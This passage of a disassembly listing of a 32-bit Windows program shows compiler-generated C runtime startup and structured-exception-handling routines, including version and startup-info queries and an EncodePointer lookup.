		movzx	ecx, byte ptr [esi+2]
		jmp	short loc_403DD5
; ---------------------------------------------------------------------------


loc_403E37:				; CODE XREF: sub_40287E+1Bj
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_403E58
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_403E78


loc_403E58:				; CODE XREF: sub_40287E+15C7j
		movzx	eax, byte ptr [ecx+1]
		movzx	ecx, byte ptr [esi+1]
		jmp	loc_403DD5
; ---------------------------------------------------------------------------


loc_403E65:				; CODE XREF: sub_40287E+14j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		movzx	ecx, byte ptr [ecx]
		jmp	loc_403DD5
; ---------------------------------------------------------------------------


loc_403E76:				; CODE XREF: sub_40287E+Dj
		xor	eax, eax


loc_403E78:				; CODE XREF: sub_40287E+8A2j
					; sub_40287E+1507j ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40287E	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
off_403E7E	dd offset loc_40311D	; DATA XREF: sub_40287E+4C5r
		dd offset loc_40350F	; jump table for switch	statement
		dd offset loc_40391B
		dd offset loc_403D3C
		dd offset loc_4030A0
		dd offset loc_403480
		dd offset loc_40388C
		dd offset loc_403CAD
		dd offset loc_403011
		dd offset loc_4033F0
		dd offset loc_4037FC
		dd offset loc_403C1E
		dd offset loc_402F81
		dd offset loc_403361
		dd offset loc_40376D
		dd offset loc_403B8E
		dd offset loc_402EF2
		dd offset loc_4032D2
		dd offset loc_4036DE
		dd offset loc_403AFF
		dd offset loc_402E63
		dd offset loc_403243
		dd offset loc_40364F
		dd offset loc_403A70
		dd offset loc_402DD4
		dd offset loc_4031B4
		dd offset loc_4035C0
		dd offset loc_4039E1
		dd offset loc_402D51
		dd offset loc_403125
		dd offset loc_403531
		dd offset loc_403951

; =============== S U B	R O U T	I N E =======================================



sub_403EFE	proc near		; CODE XREF: start-F98Dp start-F8F0p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_40FE1C, 1
		jnz	short loc_403F0C
		call	sub_4060C3


loc_403F0C:				; CODE XREF: sub_403EFE+7j
		push	[esp+arg_0]
		call	sub_405F23
		push	0FFh
		call	sub_405593
		pop	ecx
		pop	ecx
		retn
sub_403EFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F22	proc near		; CODE XREF: start-F908p
		cmp	word ptr ds:400000h, 5A4Dh
		jnz	short loc_403F60
		mov	eax, ds:40003Ch
		cmp	dword ptr [eax+400000h], 4550h
		jnz	short loc_403F60
		cmp	word ptr [eax+400018h],	10Bh
		jnz	short loc_403F60
		cmp	dword ptr [eax+400074h], 0Eh
		jbe	short loc_403F60
		xor	ecx, ecx
		cmp	[eax+4000E8h], ecx
		setnz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_403F60:				; CODE XREF: sub_403F22+9j
					; sub_403F22+1Aj ...
		xor	eax, eax
		retn
sub_403F22	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_403F63:				; CODE XREF: start-F7E8j
		push	60h
		push	offset dword_40DE78
		call	__SEH_prolog4
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-70h]
		push	eax
		call	dword_40C058	; GetStartupInfoA
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	edi, 94h
		push	edi
		push	0
		mov	ebx, dword_40C054
		call	ebx ; dword_40C054
		push	eax
		call	dword_40C050	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jnz	short loc_403FAE
		push	12h
		call	sub_403EFE
		pop	ecx
		jmp	loc_404138
; ---------------------------------------------------------------------------


loc_403FAE:				; CODE XREF: start-F991j
		mov	[esi], edi
		push	esi
		call	dword_40C04C	; GetVersionExA
		push	esi
		push	0
		test	eax, eax
		jnz	short loc_403FCC
		call	ebx ; dword_40C054
		push	eax
		call	dword_40C048	; RtlFreeHeap
		jmp	loc_404138
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: start-F974j
		mov	eax, [esi+10h]
		mov	[ebp-20h], eax
		mov	eax, [esi+4]
		mov	[ebp-24h], eax
		mov	eax, [esi+8]
		mov	[ebp-28h], eax
		mov	edi, [esi+0Ch]
		and	edi, 7FFFh
		call	ebx ; dword_40C054
		push	eax
		call	dword_40C048	; RtlFreeHeap
		mov	esi, [ebp-20h]
		cmp	esi, 2
		jz	short loc_403FFE
		or	edi, 8000h


loc_403FFE:				; CODE XREF: start-F93Aj
		mov	ecx, [ebp-24h]
		mov	eax, ecx
		shl	eax, 8
		mov	edx, [ebp-28h]
		add	eax, edx
		mov	ds:dword_410160, esi
		mov	ds:dword_410168, eax
		mov	ds:dword_41016C, ecx
		mov	ds:dword_410170, edx
		mov	ds:dword_410164, edi
		call	sub_403F22
		mov	[ebp-20h], eax
		xor	ebx, ebx
		inc	ebx
		push	ebx
		call	sub_4069FB
		pop	ecx
		test	eax, eax
		jnz	short loc_404046
		push	1Ch
		call	sub_403EFE
		pop	ecx


loc_404046:				; CODE XREF: start-F8F4j
		call	sub_404A60
		test	eax, eax
		jnz	short loc_404057
		push	10h
		call	sub_403EFE
		pop	ecx


loc_404057:				; CODE XREF: start-F8E3j
		call	sub_406958
		mov	[ebp-4], ebx
		call	sub_406718
		test	eax, eax
		jge	short loc_404070
		push	1Bh
		call	sub_405549
		pop	ecx


loc_404070:				; CODE XREF: start-F8CAj
		call	dword_40C044	; GetCommandLineA
		mov	ds:dword_410A24, eax
		call	sub_4065E3
		mov	ds:dword_40FE14, eax
		call	sub_40652A
		test	eax, eax
		jge	short loc_404096
		push	8
		call	sub_405549
		pop	ecx


loc_404096:				; CODE XREF: start-F8A4j
		call	sub_4062B7
		test	eax, eax
		jge	short loc_4040A7
		push	9
		call	sub_405549
		pop	ecx


loc_4040A7:				; CODE XREF: start-F893j
		push	ebx
		call	sub_405665
		pop	ecx
		test	eax, eax
		jz	short loc_4040B9
		push	eax
		call	sub_405549
		pop	ecx


loc_4040B9:				; CODE XREF: start-F880j
		call	sub_40625A
		test	[ebp-44h], bl
		jz	short loc_4040C9
		movzx	ecx, word ptr [ebp-40h]
		jmp	short loc_4040CC
; ---------------------------------------------------------------------------


loc_4040C9:				; CODE XREF: start-F86Fj
		push	0Ah
		pop	ecx


loc_4040CC:				; CODE XREF: start-F869j
		push	ecx
		push	eax
		push	0
		push	400000h
		call	sub_401000
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_4040E9
		push	eax
		call	sub_4057D9


loc_4040E9:				; CODE XREF: start-F84Fj
		call	sub_4057FB
		jmp	short loc_40411E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-2Ch], ecx
		push	eax
		push	ecx
		call	sub_4060FC
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-2Ch]
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_404119
		push	eax
		call	sub_4057EA


loc_404119:				; CODE XREF: UPX0:00404111j
		call	sub_40580A
; START	OF FUNCTION CHUNK FOR start


loc_40411E:				; CODE XREF: start-F842j
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	eax, [ebp-1Ch]
		jmp	short loc_40413D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFEh
; START	OF FUNCTION CHUNK FOR start


loc_404138:				; CODE XREF: start-F987j start-F969j
		mov	eax, 0FFh


loc_40413D:				; CODE XREF: start-F808j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_404143:				; CODE XREF: start+183j
		call	sub_406A55
		jmp	loc_403F63
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40414D	proc near		; CODE XREF: sub_401548+57p
					; sub_401606+58p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_40C1F0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		test	eax, eax
		pop	edi
		mov	[ebp+var_4], eax
		pop	esi
		jz	short loc_404180
		test	byte ptr [eax],	8
		jz	short loc_404180
		mov	[ebp+var_C], 1994000h


loc_404180:				; CODE XREF: sub_40414D+25j
					; sub_40414D+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_40C05C	; RaiseException
		leave
		retn	8
sub_40414D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404197	proc near		; CODE XREF: sub_4071C3+65p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ebp, [ebp+var_4]
		mov	esp, [ebx-4]
		jmp	eax
sub_404197	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4041C7	proc near		; CODE XREF: sub_406CDC+31p
					; sub_407132+59p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4041C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041CE	proc near		; CODE XREF: sub_40435B+69p
					; sub_4071C3:loc_4071EBp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_4041F7
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_40B00E	; RtlUnwind


loc_4041F7:				; DATA XREF: sub_4041CE+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4041CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404220	proc near		; CODE XREF: UPX0:0040B032j
					; UPX0:0040B04Dj ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40768F
		add	esp, 20h
		mov	[ebp+var_8], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_404220	endp

; ---------------------------------------------------------------------------


loc_404256:				; DATA XREF: sub_404500+24o
		push	esi
		cld
		mov	esi, [esp+0Ch]
		mov	ecx, [esi+8]
		xor	ecx, esi
		call	sub_40224A
		push	0
		push	esi
		push	dword ptr [esi+14h]
		push	dword ptr [esi+0Ch]
		push	0
		push	dword ptr [esp+24h]
		push	dword ptr [esi+10h]
		push	dword ptr [esp+24h]
		call	sub_40768F
		add	esp, 20h
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404286	proc near		; CODE XREF: sub_40435B+81p
					; sub_40722F+53p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		cmp	[ebp+arg_0], 123h
		jnz	short loc_4042A8
		mov	eax, offset loc_40432F
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		jmp	loc_404358
; ---------------------------------------------------------------------------


loc_4042A8:				; CODE XREF: sub_404286+Ej
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_40435B
		mov	eax, ds:dword_40F060
		lea	ecx, [ebp+var_28]
		xor	eax, ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_10], eax
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_38], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_30], eax
		call	sub_404927
		mov	eax, [eax+80h]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	[ebp+var_2C]
		pop	ecx
		pop	ecx
		and	[ebp+var_38], 0


loc_40432F:				; DATA XREF: sub_404286+10o
		cmp	[ebp+var_4], 0
		jz	short loc_40434C
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_404355
; ---------------------------------------------------------------------------


loc_40434C:				; CODE XREF: sub_404286+ADj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_404355:				; CODE XREF: sub_404286+C4j
		mov	eax, [ebp+var_38]


loc_404358:				; CODE XREF: sub_404286+1Dj
		pop	ebx
		leave
		retn
sub_404286	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; DATA XREF: sub_404286+26o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		cld
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, [ebp+arg_4]
		call	sub_40224A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		jz	short loc_40438B
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_4043F5
; ---------------------------------------------------------------------------
		jmp	short loc_4043F5
; ---------------------------------------------------------------------------


loc_40438B:				; CODE XREF: sub_40435B+1Dj
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+18h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		call	sub_40768F
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4043C9
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4041CE


loc_4043C9:				; CODE XREF: sub_40435B+61j
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	123h
		call	sub_404286
		add	esp, 1Ch
		mov	eax, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	eax
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax


loc_4043F5:				; CODE XREF: sub_40435B+2Cj
					; sub_40435B+2Ej
		pop	ebx
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043F8	proc near		; CODE XREF: sub_40722F+81p
					; sub_407321+1C6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		mov	esi, [edi+0Ch]
		mov	[ebp+var_4], eax
		mov	ebx, esi
		jmp	short loc_40443C
; ---------------------------------------------------------------------------


loc_40440F:				; CODE XREF: sub_4043F8+4Bj
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_404419
		call	sub_4077BF


loc_404419:				; CODE XREF: sub_4043F8+1Aj
		mov	ecx, [ebp+var_4]
		dec	esi
		mov	eax, esi
		imul	eax, 14h
		add	eax, ecx
		mov	ecx, [ebp+arg_8]
		cmp	[eax+4], ecx
		jge	short loc_404431
		cmp	ecx, [eax+8]
		jle	short loc_404436


loc_404431:				; CODE XREF: sub_4043F8+32j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40443F


loc_404436:				; CODE XREF: sub_4043F8+37j
		dec	[ebp+arg_4]
		mov	ebx, [ebp+arg_0]


loc_40443C:				; CODE XREF: sub_4043F8+15j
		mov	[ebp+arg_0], esi


loc_40443F:				; CODE XREF: sub_4043F8+3Cj
		cmp	[ebp+arg_4], 0
		jge	short loc_40440F
		mov	eax, [ebp+arg_C]
		inc	esi
		mov	[eax], esi
		mov	eax, [ebp+arg_10]
		mov	[eax], ebx
		cmp	ebx, [edi+0Ch]
		ja	short loc_404459
		cmp	esi, ebx
		jbe	short loc_40445E


loc_404459:				; CODE XREF: sub_4043F8+5Bj
		call	sub_4077BF


loc_40445E:				; CODE XREF: sub_4043F8+5Fj
		mov	eax, esi
		imul	eax, 14h
		add	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4043F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40446B	proc near		; CODE XREF: sub_406E17+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_404927
		mov	eax, [eax+98h]
		mov	[esi+4], eax
		call	sub_404927
		mov	[eax+98h], esi
		mov	eax, esi
		pop	esi
		retn
sub_40446B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404493	proc near		; CODE XREF: sub_406F3D+60p

arg_0		= dword	ptr  4

		call	sub_404927
		mov	eax, [eax+98h]
		jmp	short loc_4044AB
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_404493+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_4044B1
		mov	eax, [eax+4]


loc_4044AB:				; CODE XREF: sub_404493+Bj
		test	eax, eax
		jnz	short loc_4044A0
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4044B1:				; CODE XREF: sub_404493+13j
		xor	eax, eax
		retn
sub_404493	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044B4	proc near		; CODE XREF: sub_406F3D+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_404927
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+98h]
		jnz	short loc_4044D6
		call	sub_404927
		mov	ecx, [esi+4]
		mov	[eax+98h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4044D6:				; CODE XREF: sub_4044B4+10j
		call	sub_404927
		mov	eax, [eax+98h]
		jmp	short loc_4044EC
; ---------------------------------------------------------------------------


loc_4044E3:				; CODE XREF: sub_4044B4+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_4044F8
		mov	eax, ecx


loc_4044EC:				; CODE XREF: sub_4044B4+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4044E3
		pop	esi
		jmp	sub_4077BF
; ---------------------------------------------------------------------------


loc_4044F8:				; CODE XREF: sub_4044B4+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_4044B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404500	proc near		; CODE XREF: sub_406E17+7Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, ds:dword_40F060
		and	[ebp+var_18], 0
		lea	ecx, [ebp+var_18]
		xor	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_14], offset loc_404256
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_18]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_407810
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_404500	endp


; =============== S U B	R O U T	I N E =======================================



sub_40455E	proc near		; CODE XREF: sub_4012D1+7p
					; sub_40137A+7p ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		push	eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_40455E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404591	proc near		; CODE XREF: sub_4017AB+7p
					; sub_401882+7p ...

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], esp
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_404591	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4045C7	proc near		; CODE XREF: sub_4010EC+Ap

arg_0		= byte ptr  4

		push	eax
		push	large dword ptr	fs:0
		lea	eax, [esp+8+arg_0]
		sub	esp, [esp+0Ch]
		push	ebx
		push	esi
		push	edi
		mov	[eax], ebp
		mov	ebp, eax
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		push	eax
		mov	[ebp-10h], eax
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		mov	large fs:0, eax
		retn
sub_4045C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4045FD	proc near		; CODE XREF: sub_4012D1+2Dp
					; sub_40137A+B6p ...
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		push	ecx
		retn
sub_4045FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404611	proc near		; CODE XREF: sub_4010EC+155p
		mov	ecx, [ebp-10h]
		xor	ecx, ebp
		call	sub_40224A
		jmp	sub_4045FD
sub_404611	endp


; =============== S U B	R O U T	I N E =======================================



sub_404620	proc near		; CODE XREF: sub_402095+CEp
					; sub_402191+18p ...
		and	ds:dword_410A20, 0
		retn
sub_404620	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404628	proc near		; CODE XREF: sub_404694+45p
					; sub_40470B+45p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		lea	eax, [ebp+var_4]
		inc	esi
		xor	ebx, ebx
		push	eax
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], ebx
		call	sub_405629
		cmp	[ebp+var_4], 5
		pop	ecx
		jle	short loc_40464E
		mov	eax, esi
		jmp	short loc_404690
; ---------------------------------------------------------------------------


loc_40464E:				; CODE XREF: sub_404628+20j
		push	edi
		push	ebx
		call	dword_40C064	; GetModuleHandleA
		mov	esi, [eax+3Ch]
		add	esi, eax
		cmp	[esi+6], bx
		movzx	eax, word ptr [esi+14h]
		lea	edi, [eax+esi+18h]
		jbe	short loc_40468C


loc_404669:				; CODE XREF: sub_404628+5Cj
		push	edi
		push	offset dword_40C210
		call	sub_405E50
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404688
		movzx	eax, word ptr [esi+6]
		inc	ebx
		add	edi, 28h
		cmp	ebx, eax
		jb	short loc_404669
		jmp	short loc_40468C
; ---------------------------------------------------------------------------


loc_404688:				; CODE XREF: sub_404628+50j
		and	[ebp+var_8], 0


loc_40468C:				; CODE XREF: sub_404628+3Fj
					; sub_404628+5Ej
		mov	eax, [ebp+var_8]
		pop	edi


loc_404690:				; CODE XREF: sub_404628+24j
		pop	esi
		pop	ebx
		leave
		retn
sub_404628	endp


; =============== S U B	R O U T	I N E =======================================



sub_404694	proc near		; CODE XREF: sub_402569+85p
					; sub_402569+94p ...

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_40F06C
		mov	esi, dword_40C06C
		call	esi ; dword_40C06C
		test	eax, eax
		jz	short loc_4046C8
		mov	eax, ds:dword_40F068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4046C8
		push	eax
		push	ds:dword_40F06C
		call	esi ; dword_40C06C
		call	eax ; dword_40F068
		test	eax, eax
		jz	short loc_4046C8
		mov	eax, [eax+1F8h]
		jmp	short loc_4046EE
; ---------------------------------------------------------------------------


loc_4046C8:				; CODE XREF: sub_404694+11j
					; sub_404694+1Bj ...
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		call	dword_40C064	; GetModuleHandleA
		mov	esi, eax
		test	esi, esi
		jz	short loc_4046FC
		call	sub_404628
		test	eax, eax
		jz	short loc_4046FC
		push	offset aEncodepointer ;	"EncodePointer"
		push	esi
		call	dword_40C068	; GetProcAddress


loc_4046EE:				; CODE XREF: sub_404694+32j
		test	eax, eax
		jz	short loc_4046FC
		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax


loc_4046FC:				; CODE XREF: sub_404694+43j
					; sub_404694+4Cj ...
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_404694	endp


; =============== S U B	R O U T	I N E =======================================



sub_404702	proc near		; CODE XREF: sub_4056F7+6Ep
					; sub_405819+1p ...
		push	0
		call	sub_404694
		pop	ecx
		retn
sub_404702	endp


; =============== S U B	R O U T	I N E =======================================



sub_40470B	proc near		; CODE XREF: sub_402191+9p
					; sub_402569+Bp ...

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_40F06C
		mov	esi, dword_40C06C
		call	esi ; dword_40C06C
		test	eax, eax
		jz	short loc_40473F
		mov	eax, ds:dword_40F068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40473F
		push	eax
		push	ds:dword_40F06C
		call	esi ; dword_40C06C
		call	eax ; dword_40F068
		test	eax, eax
		jz	short loc_40473F
		mov	eax, [eax+1FCh]
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_40473F:				; CODE XREF: sub_40470B+11j
					; sub_40470B+1Bj ...
